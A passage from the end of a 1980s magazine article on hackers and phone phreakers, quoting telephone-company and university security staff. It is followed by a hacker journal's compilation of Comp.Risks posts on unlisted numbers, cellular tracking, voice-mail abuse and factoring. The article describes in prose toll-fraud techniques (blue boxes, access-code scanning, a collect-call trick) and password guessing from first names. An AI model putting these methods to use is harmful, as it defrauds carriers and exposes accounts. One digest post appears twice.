If someone breaks into the computers of, for example, California's Pacific
Bell, and the break-in is severe, Pacific Bell Security gets warrants issued,
and then, with the police, confiscates computers, manuals, telephone lists and
directories -- all related equipment.  It's common for the computer to be tied
up for a few months as evidence. (And by the time Pacific Bell Security does
get involved, the evidence is usually overwhelming -- the conviction rate is
extremely high.)
"Whenever I'm involved in a case," said McMullen, "I ask the judge for
permission to confiscate the equipment.  That's one big incentive for hackers
not to do this kind of stuff. I haven't had any repeaters, but I know of one
case where the guy probably WILL do it again when he gets out.
"Usually the shock of what happens to a juvenile's parents -- who bought the
equipment and watched it get confiscated -- is enough to make them stop. But we
don't really have enough cases to know what the parents do."


ACCESS

"It's easy for hackers to find company phone numbers," said Daniel Suthers,
Atari user and operations manager at Pacific Bell in Concord, California.
"Most large companies have a block of 500 to 1,000 phone numbers set aside for
their own use.  At least one line will have a modem.
"People post messages on hacker/phreaker bases on some BBS's and say 'I don't
know who this phone number belongs to, but it's a business, judging by the
prefix, and has a 1200-baud tone.' Then it's open season for the hackers and
phreakers."

Phreakers aren't much different than hackers -- they're just specifically
telephone-oriented.  In "CompuTalk: Texas-Sized BBS" (Antic, August 1987),
sysop Kris Meier discussed phreakers who appear to have called from phone
numbers other than the ones they were actually using.  A computer isn't needed
to do this -- it's usually done with a "blue box."

"The blue boxes were used mostly in the late 1960s and early '70s," said
McMullen.  "They fool the network and let people make free long distance calls
-- a tone generator simulates the signalling codes used by long distance
operators.  The boxes were phased out a couple of years ago, though:  they no
longer let hackers access AT&T, but Sprint and MCI can be accessed by something
similar.  However, computer programs are normally used now."

To get long-distance phone service, hackers now use one of several programs
passed among other hackers (on bulletin boards, for example).  They find the
local access number for Sprint or MCI and then run the program -- perhaps for a
few days.  It generates and dials new phone numbers, and the hackers can check
to see how many new or free codes they've turned up.

They can post the codes on a BBS, and their friends will use them until they
get stopped by the long-distance company -- depending on how long it takes the
company to realize that these numbers hadn't been issued yet -- or until the
customers discover that their numbers have been accessed by someone who isn't
"authorized."

Bulletin boards can be especially easy prey.  "If a hacker knew your BBS
program intimately, he could probably figure it out, but that's messy," said
Suthers.  "If he can find a back door, it's easier.  Sysops are notorious for
putting in their own back doors because, though they have all the security
under the sun on the FRONT doors, they still want to get in without problems.
It's just like what happened in the films Tron and Wargames -- which probably
taught a whole generation a lot of things."

Meier had said in the August, 1987 issue of Antic that someone once called his
board COLLECT.  Simply put, the caller fooled the operator.  McMullen says
that's been around for a long time.  "It's common in prisons and situations
where the phones are restricted." McMullen also said that if the timing is just
right, as soon as the modem answers, the phreaker can wait for an operator to
say "Will you accept the charges," then say "Yes."  The operator can't tell
which end said yes, and if the modem has a long delay before the connect tone,
the phreaker can get away with it.  It couldn't be done entirely electronically
-- the voice contact is needed.

"I've never run across people accessing online services such as CompuServe in
this way, but I'm sure it happens," said McMullen.  "People suddenly get
strange charges on their phone bills. "The hackers I've dealt with are very
brilliant and good at what they do. Of course, when you do something all day
that you're really interested in, you're
GOING to be good at it."


DOOM

McMullen's most recent hacker case at Stanford University dealt with the Legion
of Doom, an elite group of hackers who broke into computers -- some containing
national defense-related items. "As I understand it, they're supposed to be the
top hackers in the nation," McMullen said.  "I started investigating the case
when it began crossing state lines, getting a bit too big.  I contacted the
FBI, who said that because of the Secret Service's jurisdiction over credit
card and telephone access fraud, they'd taken over computer crime
investigations that go across state lines -- actually, anything involving a
telephone access code.  This case, of course, involved access codes, because
the Sprint and AT&T systems were used, and it was the Secret Service, not the
FBI, that made the arrests. "I think that the publicity from this case will
scare people, and there'll be a lot less hacking for a while.  Some hackers are
afraid to do anything: they're afraid that the Secret Service is watching them,
too."


TRACING

AT&T, Sprint and MCI now have ANI -- Automatic Number Identification -- as does
Pacific Bell.  It aids a great deal in detecting hackers.  Pacific Bell usually
just assists in this type of investigation and identifies the hackers. "It's
easy to trace a call if the caller logs in more than once," said Suthers. "The
moment they dial in, a message is printed out -- before the phone even answers
-- pinpointing where it came from, where it went to, the whole shmeer.

"A blue box made it much harder to detect, but if a hacker used it
consistently, we could eventually trace it back.  So if someone is in
California and makes it look as if he'd called from New York, we can trace it
across the country one way, and then back across.  Generally, though if the
call IS billed to a New York number, the caller is actually somewhere like
Florida.  But we can back-trace the call itself, especially if it's extremely
long."

But recently someone broke into Pacific Bell "through a fluke of
circumstances."  Suthers said, "We closed down that whole area, so they can't
get back in that way, but if they dial the number again, they're in trouble."
If Pacific Bell Security detects a break-in, the area is secured immediately.
Sometimes hackers are steered toward a kind of "pseudo-system" that makes them
THINK they've broken in -- but in fact they're being monitored and traced.
As to how many hackers there are, who knows?  There's a lot of misuse and
inside work that's never detected or reported.


SECURITY

Security systems are expensive, but someone with a lot of data and an important
system should seriously look into one.  Very few hackers are caught, simply
because few corporations have good security systems. "Passwords should never be
names, places or anything that can be found in a dictionary," said Suthers.
"People shouldn't be able to just write a program to send words from their
AtariWriter Plus dictionary disk.  Normally there should be a letter here, a
few numbers there -- garbage. Thus, if someone writes a program to generate
random symbols and keeps calling back until he breaks in, he'll probably be
traced. "Some corporations aren't very computer literate and don't worry about
things like passwords until they've been hit, which is a shame.  But it's all
out there in the books. TRICKS OF THE UNIX MASTER (by Russell Sage, published
by SAMS Publications, $22.95) is a beautiful book that tells you exactly what
to do to avoid break-ins."

McMullen said that Stanford is trying to tighten up security by emphasizing the
importance of better passwords. "When researchers want to do their work,
however, they don't want to mess with passwords and codes," he said.
"Universities seem to want to make their systems easier for researchers to use.
The more accessible it is, obviously, the less security there is in terms of
passwords.  It's easier to use your name as a password than some complicated
character string. "So any hacker worth his salt can go onto any computer system
and pull out an account.  Especially with UNIX, it's very easy to access it,
entering as the password the first name of the person who has the account.
These Legion of Doom hackers used a program that actually found out what the
passwords were: it began by just checking the names.  They were very successful
-- it was just unbelievable."

But McMullen feels that security fell way behind the advances made in
computers, and several avenues were left open for people to explore.  "Often
these hackers don't mean to be malicious or destructive," he said, "but I think
they really feel triumphant at getting on.  Sometimes they do damage without
realizing it, just by tramping through the system:  shutting down phone lines,
programs and accounting systems." However, the strides made in security since
then have accounted for arrests, confiscations and convictions all over the
country -- but there are still many more to come.






The LOD/H Technical Journal, Issue #3: File 11 of 11

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$                                                                            $
$                            Network News & Notes                            $
$                                                                            $
$                       Compiled from Comp.Risks Digest                      $
$                                      by                                    $
$                                  The Mentor                                $
$                                                                            $
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

    Comp.Risks Digest is a USENET distributed newsletter on risks to the
public from computer-related systems.  It is frequently one of the first
places that bugs in operating systems show up.  These are some of the more
interesting posts that have appeared in the past month.

 ----------------------------------------------------------------------------

Date:   Wed, 5 Oct 88 12:35:37 EDT
From: Dave Wortman <dw@csri.toronto.edu>
Subject: Emergency Access to Unlisted Telephone Numbers

The article below was originally posted to misc.consumers.  I thought it might
be of interest to RISKS readers as an example of a well-thought-out set of
administrative procedures designed to balance the needs of protection of
privacy and response to emergency situations.

   =======================================================================

All examples in this message pertain to Illinois Bell Telephone Company, which
covers the Chicago metropolitan area, and quite a bit of the rest of Illinois.

There are three types of phone numbers which do not appear in the printed and
publicly available directory: (1) Too new to list (2) Non-listed (3) Non-pub.
[discussion of types (1) and (2) deleted.]

The third category of numbers not in the phone book or available from the
Directory Assistance Bureau are non-published numbers. Non-pub numbers are NOT
available at the Directory Assistance level. Inquiries about same which are
input into a DA terminal simply come up with a message that 'at the customer's
request, the number is not listed in our records; the number is non-published.'

Well, who does keep non-pub records then? The Business Office has no handy way
to retrieve them, since they depend on an actual phone number when they pull up
a record to discuss an account. Once a service order is processed, the number
and associated name are no longer available to the average worker in the
central office.

There was for several years a small group known as the 'NonPub Number Bureau'
which at the time was located in Hinsdale, IL. Needless to say, the phone
number to the NonPub Number Bureau was itself non-published, and was only
available to specified employees at Bell who were deemed to have a 'need to
know'. Now I think with all the records being highly computerized, the keepers
of the non-pub phone numbers are themselves scattered around from one phone
office to another.

When there is some specific need for an employee at the phone company to
acquire the non-published number of a subscriber, then certain security
precautions kick into place. Only a tiny percentage of telephone company
employees are deemed to have a 'need to know' in the first place; among
these would be the GCO's (Grup Chef Operators), certain management people
in the central offices, certain people in the Treasury/Accounting office,
andof course, security representatives both from Illinois Bell and the
various long distance carriers, such as AT&T/Sprint/MCI.

Let us have a hypothetical example for our Correspondent: Your mother has taken
seriously ill, and is on her deathbed. Your brother is unable to reach you to
notify you of this because you have a non-pub number. When his request for the
number has been turned down by Directory Assistance, simply because they do not
have it, he asks to speak with a supervisor, and he explains the problem. He
provides his own name and telephone number, and the supervisor states he will
be called back at a later time. The supervisor does not question if in fact an
emergency exists, which is the only valid reason for breaking security. The
supervisor may, if they are doing their job correctly, ask the inquirer point
blank, "Are you stating there is an emergency situation?".

Please bear inmind tat the law in Illinois and in many other states says that
if a person claims that an emergency exists in order to influence the use (or
discontinuance of use) of the telephone when in fact there is no emergency is
guilty of a misdemeanor crime. You say yes this is an emergency and I need to
contact my brother/sister/etc right away. The supervisor will then talk to
his/her supervisor, who is generally of the rank of Chief Operator for that
particular facility.

The Chief Operator will call the NonPub people, will identify herself, and
*leave her own call back number*. The NonPub people will call back to verify
the origin of the call, and only then will there be information given out
regards your brother's telephone number. It helps if you know the *exact* way
the name appears in the records, and the *exact* address; if there is more than
one of that name with non-pub service, they may tell you they are unable to
figure out who it is you want.

The NonPub person will then call the subscriber with the nn-published number
and explain to tem what has occurred: So and so has contacted one of our
operators and asked for assistance in reaching you. The party states that it
is a family emergency which requires your immediate attention. Would it be
alright if we give him/her your number, *or would you prefer to call them back
yourself?

Based on the answer given, the number is either relayed back to the Chief
Operator, or a message is rlaedback saying the non-pub customer has been
notified. If the customer says it is okay to pass his number, then the Chief
Operator will call you back, ask who YOU are, rather than saying WHO she wants,
and satisfied with your identification will give you the number you are seeking
or will advise you that your brother has been given the message by someone from
our office, and has said he will contact you.

Before the NonPub people will even talk to you, your 'call back number' has to
be on their list of approved numbers for that purpose. A clerk n the Business
Office cannot imitate a Chief Operator for example, simply because NonPub would
say that the number you are asking us to call back to is not on our list. "Tell
your supervisor what it is you are seeking and have them call us..."

Other emergency type requests for non-pub numbers would be a big fire at some
business place in the middle of the night, and the owners of the company must
be notified at their home; or a child is found wandering by the police and
the child is too young to know his parent's (non-pub) number.

They will also handle non-emergency requests, but only if they are of some
importance and not frivolous in nature. You have just come to our city to visit
and are seeking a long lost friend who has a non-pub number; you are compiling
the invitations to your high school class fiftieth re-union and find a class
member is non-pub. Within certain reasonable limits, they will pass along your
request to the desired party and let them make the choice of whether to return
the call or not. But always, you leave your phone number with them, and in due
time someone will call yo back to report what has been said or done.

You would be surprised -- or maybe you wouldn't -- at the numerous scams and
[........] stories people tell the phone company to get the non-pub number of
someone else. Fortunately, Bell takes a great deal of pride in their efforts to
protect the privacy of their subscribers.

Patrick Townson, The Portal Syse(TM)
uunet!portal!cup.portal.com!Patrick_A_Townson

-----------------------

Date: Tue, 4 Oct 88 18:01:58 CDT
From: linnig@skvax1.csc.ti.com
Subject: More on monitoring Cellular Phones

Alan Kaminsky (ark%hoder@CS.RIT.EDU) writes:

> When a phone detects a paging message with
> its own address, it broadcasts a page response message.  This response is
> received by all the cells in the system, and the signal strength is measured.
> The cell receiving the strongest response is assumed to be the cell in which
> the phone is located, an unused frequency in that cell is assigned, and the
> phone call is switched to a transceiver in that cell.

Ah, but could the phone company send out a page without a following
"ring them" message?  If they could, then they could periodically
poll your position, and your faithful cellular phone would report
it without your knowledge.

> As for business competitors monitoring calls you place on your cellular
> telephone, to find out your clients' phone numbers:  This is perfectly
> possible.... One hopes the FCC, police, etc.
> would prevent anyone from offering such a product commercially.

Well, the communication privacy act recently passed prevents you from
intercepting the audio side of the cellular phone conversation, but I doubt
if it prevents you from picking up the dialing info. I think such a device
might be considered in the same class as a "pen register." Pen registers
record the numbers called on a telephone circuit. I believe the Supreme
Court doesn't even require a search warrant to place a pen register on a
phone. It may be quite legal to record the phone numbers dialed by a
cellular phone. Someone with a law background want to comment?

        Mike Linnig,
        Texas Instruments

------------------------------

Date: Fri, 7 Oct 88 09:00:08 edt
From: Henry Cox  <cox@spock.ee.mcgill.ca>
Subject: Reach Out and Touch Someone...

TEENS RUN UP TELEPHONE BILL OF $650,000

[From the Montreal Gazette, 7 October 1988]

LAS VEGAS (AP) - Ten teenage hackers may have run up $650 000 in
telephone calls by tricking phone company computers, and their parents
could be liable for the tab, authorities said.

"They reached out, all right," assistant U.S. Attorney Russel Mayer said
of the hackers, nine 14-year-olds and one 17-year-old.  "They reached
out and touched the world."

Tom Spurlock, resident agent in charge of the Las Vegas Secret Service
office, said the teen agers engaged in "blue boxing," a technique that
enabled them to talk to fellow hackers throughout Europe.

"They were calling numbers that were in the ATT system, and their
(computer) programs would allow them to jump' ATT's circuits, allowing
them to call anywhere in the world."

The expensive shenanigans came to light when local phone company
officials discovered unusual activity on nine Las Vegas phone lines,
Spurlock said.  He said federal agents obtained warrants and searched
the nine homes.

The teenagers weren't taken into custody or charged, but their computers
were seized.

                                        Henry Cox

------------------------------

Date: Fri, 07 Oct 88 13:35:03 -0400
From: davis@community-chest.mitre.org
Subject: Computer Security and Voice Mail

>From the Oct 6 Washington Post.
>From a news item "Hackers Find New Way to Tap Long-Distance Phone Lines".

Zotos International Co. received two consecutive $75,000 phone bills,
due to use of their automated answering system by hackers.

Zotos' switchboard automatically routes incoming calls to the proper
department.  Hackers found a way to circumvent the system to place outgoing
long-distance calls, in some cases to Pakistan and Senegal.  In this case the
calls were traced to Pakistani businesses in New York.  However, police
officials told Zotos that they must catch the hackers in the act in order to
prosecute.  The telephone company informed Zotos' mangement to pay the bills,
and collect from the susspected hackers via the civil courts.

In the same article, a related Los Angeles case of misuse of an electronic
switchboard system by outsiders described 'capture' of 200 of a company's
password-secured voice mail accounts.  Outsiders, in this cases a dope ring and
a prostitution ring, gained access by guessing the 4-digit passwords and
changing them.  The hackers backed off only when 'Federal authorities' began
tracing calls.

The article quotes security experts as recommending systems including several
access codes.  Also, major companies are adding software to detect changes in
calling patterns.

------------------------------

Date: 6 Oct 88 09:45
From: plouff%nac.DEC@decwrl.dec.com (Wes Plouff)
Subject: Re: Risks of Cellular Phones

Recent writers to RISKS, starting with Chuck Weinstock in issue 7.57, have
focused on the risk of vehicle location by cellular telephone systems.  In my
opinion, they exaggerate this risk and underestimate another risk of mobile
phones, the complete lack of privacy in radio transmissions.

Roughly 10 years ago I designed vehicle location controller hardware and
firmware used in the Washington-Baltimore cellular demonstration system.
That system led directly to products sold at least through the first
waves of cellular system construction a few years ago.

Since cellular base stations have intentionally limited geographic
coverage, vehicle location is a requirement. This limitation is used to
conserve radio channels; one cell's frequencies can be re-used by others
far enough away in the same metropolitan area.  The cell system must
determine which cell a mobile user is located in when he begins a call,
and when during a conversation a vehicle crosses from one cell into
another.  Cells are set up perhaps 3 to 20 miles in diameter and range
from circular to very irregular shapes.  Cellular phone systems are
designed with ample margins so that statistically very few calls will be
lost or have degraded voice quality.

Making this system work does not require anything so fancy as
triangulation.  Vehicle location needs to be only good enough to keep
signal quality acceptably high.  John Gilmore explained in RISKS 7.58
how this works while the mobile phone is on-hook.  During a
conversation, the base station periodically measures the signal strength
of an active mobile in its cell.  When the signal strength goes below a
threshold, adjacent cells measure the mobile's signal strength.  This
'handoff trial' procedure requires no interaction with the mobile.  If
the mobile was stronger by some margin in an adjacent cell, both the mobile
phone and the cellular exchange switch are ordered to switch to a channel and
corresponding phone line in the new cell.  Since base stations commonly use
directional antennas to cover a full circle, mobiles could be reliably located
in one third of the cell area at best.  Distance-measuring techniques advocated
by AT&T were not adopted because the added cost was too high for the modest
performance gain.

Certainly a cellular phone system can locate a mobile at any time, and always
locates a mobile during a conversation.  But the information is not
fine-grained enough to implement some of the schemes imagined by previous
writers.

A more important risk is the risk of conversations being intercepted.  The
public airwaves are simply that: public.  Scanner radios can easily be found or
modified to cover the cellular band, and listeners will tolerate lower signal
quality than cellular providers, hence one scanner can listen to cell base
stations over a wide area.  The communications privacy law is no shield because
listeners are undetectable.  To bring this back to risks of computers,
automated monitoring and recording of selected mobile phones is probably beyond
the reach of the average computer hobbyist, but easily feasible for a
commercial or government organization using no part of the infrastructure
whatever, just the control messages available on the air.

Wes Plouff, Digital Equipment Corp, Littleton, Mass.
plouff%nac.dec@decwrl.dec.com

------------------------------

Date: Wed, 12 Oct 88 20:34:01 -0700
From: davy@riacs.edu  <David A. Curry>
Subject: 100 digit primes no longer safe in crypto

Taken from the San Jose Mercury News, Oct. 12, 1988, Page 8A:

Computers able to make light work of cracking code (Los Angeles Times)

  Some secret codes intended to restrict access to military secrets and Swiss
bank accounts may not be as safe as had been presumed, a team of computer
experts demonstrated Tuesday.
  The team succeeded in doing what security experts thought could not be done:
using ordinary computers to break down a 100-digit number into the components
that produce it when multiplied together.
  That process, called factoring, holds the key to many security codes.
  Before Tuesday, experts had believed that if the number was large enough -
up to 100 digits - its factoring would take about 10 months with a Cray super-
computer, one of the most powerful computers in the world.
  But computer experts across the United States, Europe and Australia solved
the problem more quickly by using 400 processors simultaneously.  They linked
their computers electronically and factored a 100-digit number in just 26 days.
  The number has two factors, one 41 digits long and the other 60 digits long.
  And that, according to Arjen Lenstra, professor of computer science at the
University of Chicago, should be quite sobering to experts who believe they
are secure with codes based on numbers that large.  Lenstra headed the project,
along with Mark S. Manasse of the Digital Equipment Corp.'s Systems Research
Center in Palo Alto.

        [ quotes from experts ]

  Rodney M. Goodman, associate professor of electrical engineering and an
expert on cryptography at the California Institute of Technology in Pasadena,
described the achievement as "significant," because it means that some systems
may not be as secure as had been thought.  But he said it did not mean that
security experts around the world would have to rebuild their systems.
  "All the cryptographers will do is increase the length of the number by a
few more digits," he said, "because the problem gets exponentially worse as
you increase the size of the number."  A larger number is more cumbersome, and
cryptographers had tried to kep the number as small as possible.

        [ explanation of the idea behind using large numbers with
          prime factors in cryptography ]

  Last year, Lenstra decided to tackle the problem on "a small scale, just to
see if he could do it," according to Larry Arbeiter, spokesman for the Univ-
ersity of Chicago.  "It was a pure science type of effort."
  Several months ago, Lenstra presented his idea to Manasse, a computer re-
search scientist with Digital.  Manasse became so intrigued with the problem
that his company agreed to fund much of the cost, including the use of more
than 300 computer processors at the Palo Alto company during off-duty hours.
The company manufactures DEC computers.
  "I was interested in the general problem of taking a program and breaking it
up into small pieces" so that many could work simultaneously toward the sol-
ution, Manasse said.
  Other computer enthusiasts from the "factoring community" clamored aboard
and this fall more than 400 computers around the globe were ready to give it a
try.
  The computers ranged in size from microcomputers to a Cray supercomputer,
but even personal computers with large memories could have been used, Lenstra
said.  Each of the participating computers was given a different part of the
problem to solve, and success came early Tuesday morning.

------------------------------

Date: 12 Oct 88 19:14:22 GMT
From: spaf@purdue.edu (Gene Spafford)
Subject: NSFnet Backbone Shot

The following mail was forwarded to me a few minutes ago.  This refers to
the MCI fiber used to carry the NSFnet backbone.  No wonder some of my mail
has disappeared recently!                  [From: field inadvertently deleted?]

=> Date: Wed, 12 Oct 88 12:47:00 EDT
=> To: watchdogs@um.cc.umich.edu, ie@merit.edu
=> Subject: A bit of trivia
=>
=> The fiber that goes from Houston to Pittsburgh was broken due
=> to a gun blast....that is right, a gun blast.
=> Somewhere in the swamps of the Bayou (between Alabama and New Orleans)
=> the fiber cables are suspended above the swamps and a good ol'
=> boy was apparently target practicing on the cable.
=>
=> Traffic has been rerouted and when the investigation has taken place
=> and the cable fixed we will be put back on the original circuit.

Gene Spafford
NSF/Purdue/U of Florida  Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet:  spaf@cs.purdue.edu   uucp:   ...!$decwrl,gatech,ucbvax!purdue!spaf

------------------------------

Date: Tue, 11 Oct 88 00:14 MDT
From: MCCLELLAND_G%CUBLDR@VAXF.COLORADO.EDU
Subject: Intersection of ANI and Voice Mail Risks

   Recent reports in RISKS of nefarious deeds committed by hackers who
entered a system via voice mail prompted me to inquire about the voice mail
security of my university's system.  A year ago the U bought its own fancy
switch for on-campus communications.  Some of the goodies include voice
mail and ANI.  I tried the voice mail once but since I much prefer e-mail
I long ago forgot my voice mail password (yep, only 4 digits if the
hackers want to start guessing).  I called the telecommunications office
to determine where I needed to go in person and with how many photo ID's
to get my voice mail password.  Even though I hadn't identified myself,
the clerk said, "Oh that won't be necessary, Mr. McClelland, I'll just
change your password back to the default password and you can then change
it to whatever you want."  I said, "But how do you know that I'm
McClelland?"  He replies, "Because it shows on the digital display on my
phone both the phone number and name of the caller."  [Most phones are in
private offices so a unique name can be attached to each number.]  I tried
to explain that all he really knew was that I was someone calling from the
phone in McClelland's office and that I could be the janitor, a grad
student, or almost anyone.  But security wasn't his problem so he wasn't
very concerned.  I was afraid to ask how many folks never bother to change
their default password.  As I was about to hang up, he said, "By the way, if
you check your voice mail from your own extension you don't even need to enter
your password."  I said , "Thanks, that's reassuring" but I don't think he
caught the sarcasm.
  Gary McClelland

------------------------------

Date: 6 Oct 88 09:45
From: plouff%nac.DEC@decwrl.dec.com (Wes Plouff)
Subject: Re: Risks of Cellular Phones

Recent writers to RISKS, starting with Chuck Weinstock in issue 7.57, have
focused onthe risk of vehicle location by cellular telephone systems.  In my
opinion, they exaggerate this risk and underestimate another risk of mobile
phones, the complete lack of privacy in radio transmissions.

Roughly 10 years ago I designed vehicle location controller hardware and
firmware used in the Washington-Baltimore cellular demonstration system.
That system led directly to products sold at least through the first
waves of cellular system construction a few years ago.

Since cellular base stations have intentionally limited geographic coverage,
vehicle location is a requirement. This limitation is used to conserve radio
channels; one cell's frequencies can be re-used by others far enough away in
the same metropolitan area.  The cell system must determine which cell a mobile
user is located in when he begins a call, and when during a conversation a
vehicle crosses from one cell into another.  Cells are set up perhaps 3 to 20
miles in diameter and range from circular to very irregular shapes.  Cellular
phone systems are designed with ample margins so that statistically very few
calls will be lost or have degraded voice quality.

Making this system work does not require anything so fancy as
triangulation.  Vehicle location needs to be only good enough to keep
signal quality acceptably high.  John Gilmore explained in RISKS 7.58
how this works while the mobile phone is on-hook.  During a
conversation, the base station periodically measures the signal strength
of an active mobile in its cell.  When the signal strength goes below a
threshold, adjacent cells measure the mobile's signal strength.  This
'handoff trial' procedure requires no interaction with the mobile.  If
the mobile was stronger by some margin in an adjacent cell, both the mobile
phone and the cellular exchange switch are ordered to switch to a channel and
corresponding phone line in e new cell.  Since base stations commonly use
directional antennas to cover a full circle, mobiles could be reliably located
in one third of the cell area at best.  Distance-measuring techniques advocated
by AT&T were not adopted because the added cost was too high for the modest
performance gain.

Certainly a cellular phone system can locate a mobile at any time, and always
locates a mobile during a conversation.  But the information is not
fine-grained enough to implement some of the schemes imagined by previous
writers.

A more important risk is the risk of conversations being intercepted.  The
public airwaves are simply that: public.  Scanner radios can easily be found or
modified to cover the cellular band, and listeners will tolerate lower signal
quality than cellular providers, hence one scanner can listen to cell base
stations over a wide area.  The communications privacy law is no shield because
listeners are undetectable.  To bring this back to risks of computers,
automated monitoring and recording of selected bile phones is probably beyond
the reach of the average computer hobbyist, but easily feasible for a
commercial or government organization using no part of the infrastructure
whatever, just the control messages available on the air.

Wes Plouff, Digital Equipment Corp, Littleton, Mass.
plouff%nac.dec@decwrl.dec.com

------------------------------

Date:    28 Sep 88 10:10:47 +0100 (Wednesday)
From: Peter Robinson <pr@computer-lab.cambridge.ac.uk@NSS.Cs.Ucl.AC.UK>
Subject: Re: Risks of cellular telephones

As a radio amateur, I have always been taught that using mobile transmitters
near petrol stations is bad form - the radiation from the transmitter can
induce currents in nearby metalwork and perhaps cause a spark.  The thought of
a cellular telephone being able to transmit without the operator's consent (in
response to a paging call) is, therefore, slightly RISKy.

Tis cold even get worse as technology progesses.  As the sunspot cycle
advances, it sees plausible that transmissions will carry further and
interfere with those in nearby cells (not the adjacent ones, they usually have
distinct frequencies).  Before long the manufacturers will introduce adaptive
control where the transmitter power is adjusted dynamically to compensate for
variations in the signal path between the mobile and base stations.  So then
when you pull into a petrol station and receive a call, the system will notice
that all the surrounding metal is impairing your signal and will increase the
transmitter power accordingly...

Incidentally, I am not sure what power these radios use, but I would be
slightly nervous about using a hand-held telephone with the antenna anywhere
near my eyes if it is more than a few Watts.

------------------------------

Date: Sat, 8 Oct 88 15:59:56 MET
From: "Walter Doerr" <wd@dg2kk.UUCP>
Subject: Risks of cellulr phnes

Chuck Weistock <weinstoc@SEI.CMU.EDU> writes in RISKS 7.57:

> Subjec: Rsks of Cellular Phones?
>
> While discussing radio triangulation last nigh, the question came up:
> If I dial a phone number attached to a cellular phone, how does the
> cellular system know which cell should send the ring signal to the
> phone?  Is it a system wide broadcast, or does the cellular phone
> periodically broadcast a "here I am" signal?

In the 'C-Net' here in Germany, all mobile phones send a "here I am" signal
whenever they move to a new cell. This information (the cell where the phone
can be reached) is stored in the database of the phone's "home" base.  Calls to
mobile phones are routed to a computer in Frankfurt which contacts the home
base computer (based on the first few digits of the mobile phonenumber), which,
in turn, knows the cell the phone is currently in.

> If the latter, a less than benevolent government (or phone company for
> that matter) could use that information to track its citizens' cars'
> whereabouts.

According to an article in an electronics magazine, the German PTT was
approached by a police agency, who expressed interest in the data stored in the
networks computers.  The article quotes a Siemens mobile telephone specialist
as saying that it isn't possible topipoint the current location of a mobile
phone because:

        - the phone must be switched on for the network to recognize it
        - the cells use omnidirectional antennas, so it isn't possible
          to determine the direction from where the mobile phone's signal came.

While this is true, it is certainly possible to determine the location of a
phone with an accuracy of a few miles (the size of the cell the phone is in)
without using any additional direction finding methods (radio triangulation).

Walter Doerr

-------------------------------------------------------------------------------
                    End of the LOD/H Technical Journal #3
-------------------------------------------------------------------------------